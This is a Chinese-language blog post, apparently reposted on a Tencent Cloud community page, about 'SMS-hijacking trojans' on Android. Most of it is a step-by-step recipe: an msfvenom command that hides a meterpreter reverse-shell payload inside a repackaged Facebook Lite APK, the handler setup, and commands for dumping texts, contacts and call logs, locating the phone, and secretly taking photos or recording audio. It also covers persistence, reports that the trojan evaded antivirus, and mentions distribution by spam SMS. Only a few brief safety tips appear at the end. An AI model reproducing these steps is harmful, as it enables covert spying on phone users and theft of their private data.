前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从 “ 短信劫持马 ” 来谈APP安全

从 “ 短信劫持马 ” 来谈APP安全

作者头像
网e渗透安全部
发布2019-11-20 10:20:27
1.3K0
发布2019-11-20 10:20:27
举报
文章被收录于专栏:白安全组白安全组

从 “ 短信劫持马 ” 来谈APP安全

这种短信劫持木马的概念和新闻我想大家都应该接触过了,就不怎么说概念了,具体的可以搜一搜新闻,一抓一大把。

复现短信劫持木马的制作

下面我用几种套件来完成短信劫持木马的还原,之前我在本地已经做过试验,所以下面的内容都均摘选自我的笔记。其实用 MSF 也可以做到,但是活的不长久,而且不过杀毒,体积偏小,很明显。 所以我们用一种 “ 寄生 ” 的方式来制作,后面会讲。

生成apk

目前有两种方法可以自动化的往 app 添加 payload,无论哪种生成,其实实现的目的都是一样的,只是 1 方法的作者把第二种方法集成到一键方式,但是本人自己使用过第一种的方式进行,因为各插件版本的原因没有成功,给原作者提供样本之后,原作者叫我自己解决。

遂推荐使用第二种方法:

  1. backdoor-apk。
  2. mterpreter 中自带的 msfvenom。

直接在 kali 的 shell 下执行:

代码语言:javascript
复制
msfvenom --platform android -x facebook_lite.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.114 LPORT=3389 -o facebook_lite_after.apk

执行完上面的命令,meterpreter 一般会对 apk 进行:

1.解包。 2.插入权限。 3.插入 payload 代码。 4.重新打包生成 apk。 5.重新签名并保存的操作。

结果成功:会生成一个 facebook_ lite_after.apk 的应用 结果失败:失败一般会发生在 2,3,4 处,因为有一些 apk 加固或者混淆了,解包之后的代码已经变了样,插入会出现错误,打包也会出现错误。最终导致 apk 不完整,无法生成 apk。

命令解读:

  • platform 指定平台,此处为 android。
  • x 指定使用的样板,可以理解为你要寄生在哪个 app 下面,
  • 此处是寄生在 facebook_lite.apk。
  • p 指定使用的 payload,此处是 android/meterpreter/ reverse_tcp,后面的 LHOST 指定 payload 生效后要反弹的主机 ip,一般为 kali 或者安装了 meterpreter 的 linux 主机,此处 kali 的 ip 为192.168.1.114,LPORT 为端口号。
  • o 指定生成的文件。

注意: msfpayload 和 msfencode 已经在新版本移除,以后只要使用 msfvenom 就行了,msfvenom 的大概使用说明如下:

代码语言:javascript
复制
MsfVenom - a Metasploit standalone payload generator.    Also a replacement for msfpayload and msfencode.    Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>    Options:        -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads            --payload-options            List the payload's standard options        -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all        -n, --nopsled       <length>     Prepend a nopsled of [length] size style="box-sizing: content-box !important; border-radius: 0px !important; background: none rgb(27, 36, 38) !important; border: 0px !important; bottom: auto !important; float: none !important; height: auto !important; left: auto !important; line-height: 1.4em !important; margin: 0px !important; outline: 0px !important; overflow: hidden !important; padding: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important; font-family: Consolas, "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; font-weight: normal !important; font-style: normal !important; font-size: 12px !important; min-height: auto !important;">        -f, --format        <format>     Output format (use --help-formats for a list)            --help-formats               List available formats        -e, --encoder       <encoder>    The encoder to use        -a, --arch          <arch>       The architecture to use            --platform      <platform>   The platform of the payload        -s, --space         <length>     The maximum size of the resulting payload            --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)        -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'        -i, --iterations    <count>      The number of times to encode the payload        -c, --add-code      <path>       Specify an additional win32 shellcode file to include        -x, --template      <path>       Specify a custom executable file to use as a template        -k, --keep                       Preserve the template behavior and inject the payload as a new thread        -o, --out           <path>       Save the payload        -v, --var-name      <name>       Specify a custom variable name to use for certain output formats            --smallest                   Generate the smallest possible payload        -h, --help                       Show this message # 监听

1.kali 的 shell 下执行 :msfconsole。 2.进入 meterpreter 后选择 exploit,执行 :use exploit/multi/handler 。 3.选择 payload,执行 :set payload android/meterpreter /reverse_tcp。 4.设置 payload 的 option,此处先设置 LHOST,执行 : set LHOST 192.168.1.114。 5.设置 LPORT,执行 :set LPORT 3389。 6.开启 exploit 任务,-j 是 job,执行 :exploit -j。

如下:

代码语言:javascript
复制
msf > use exploit/multi/handlermsf exploit(handler) > set payload android/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.1.114LHOST => 192.168.1.114msf exploit(handler) > set LPORT 3389LPORT => 3389msf exploit(handler) > exploit -j [*] Started reverse handler style="box-sizing: content-box !important; font-family: Consolas, "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; font-size: 12px !important; color: rgb(0, 153, 0) !important; word-break: break-word; border-radius: 0px !important; background: none !important; border: 0px !important; bottom: auto !important; float: none !important; height: auto !important; left: auto !important; line-height: 1.4em !important; margin: 0px !important; outline: 0px !important; overflow: hidden !important; padding: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important; font-weight: normal !important; font-style: normal !important; min-height: auto !important;">192.168.1.114:3389[*] Starting the payload handler...

运行后,当用户安装了前面第一步生成 apk,打开软件后,就会在 meterpreter 看到用户上线,这里大概说一下大概操作

大概会看到这样的字眼:

1

[*] Meterpreter session 1 opened (192.168.1.114:3389 -> 119.137.2.209:12398) at 2018-05-06 19:26:13 +0800

1

解读一下大概的意思是有 1 个会话产生了,session 的 id 是 1。

注意: 192.168.1.114:3389 -> 119.137.2.209:12398,这里后面的 119.137.2.209 这个是安装了 apk 的安卓手机的 ip。

需要连接相应的 session,则只需敲 sessions -i 1 就可以连接 id 为 1 的 session。 连接上之后,就可以进行相应的功能操作。

下面整理常用的命令:

  • dump_calllog 通话记录。
  • dump_contacts 通讯录。
  • dump_sms 短信。
  • wlan_geolocate wifi 获取 gps 位置。
  • geolocate 经纬度。
  • sysinfo 系统信息。
  • ipconfig / ifconfig。
  • webcam_snap -i 1 或 2。

不知不觉拍照:

1:后置摄像头。 2:前置摄像头 。

record_mic 录制麦克风,shell 安卓的 adb shell 操作。

更多命令操作,敲 help 默认查看:

短信获取:

通讯录获取:

通话记录获取:

持久化

msf 和其他的应用绑定后,目前可知能进行持久的方法,参考方法如下:

https://www.yeahhub.com/persistent-backdoor-android-using-kali-linux-shell-script/

主要是上传一个在 sdcard / Download 中写入一个 sh 脚本,然后每隔多久就去启动相应包名的 app,但是需要 app 透明化或者需要自定义服务,让 payload 在应用后台服务中进行。

思考: 用 MSF 去做木马,原来的文件和本身寄生后的文件,只有几 kb 的差距,而且原 APP 功能一切正常,以上功能都只需要安装打开就能做到。

手机是不会报毒的,我测试腾讯杀毒,测试了魅族,测试了小米,测试了 vivo,均可通过安装查询的那个检查引擎。

哈勃的文件分析系统:

https://habo.qq.com/file/showdetail?pk=ADIGYV1lB2EIPls9

这个链接是哈勃的文件分析系统,被鉴定为无危害,只是申请了权限。

黑产场景还原

当初测试的场景就是上面这样去寄生一共本身不带壳的程序,然后通过垃圾短信群发这种

另外需要注意APP的来源比如:

1.能在不连接公用网络的情况下就不要连接公用 WIFI。 2.不要随意下载从网站上的 APP,有些 APP 带了点什么你是完全不知道的,尽管提供 APP 下载的站点是某某中心,尽量从官方和应用商店下载。 3.有必要请加装手机杀毒软件。

以上观点个人认为还是比较贴近生活的。。。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 从 “ 短信劫持马 ” 来谈APP安全
  • 复现短信劫持木马的制作
  • 生成apk
  • 下面整理常用的命令:
  • 不知不觉拍照:
  • 持久化
  • 黑产场景还原
相关产品与服务
短信
腾讯云短信(Short Message Service,SMS)可为广大企业级用户提供稳定可靠,安全合规的短信触达服务。用户可快速接入,调用 API / SDK 或者通过控制台即可发送,支持发送验证码、通知类短信和营销短信。国内验证短信秒级触达,99%到达率;国际/港澳台短信覆盖全球200+国家/地区,全球多服务站点,稳定可靠。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档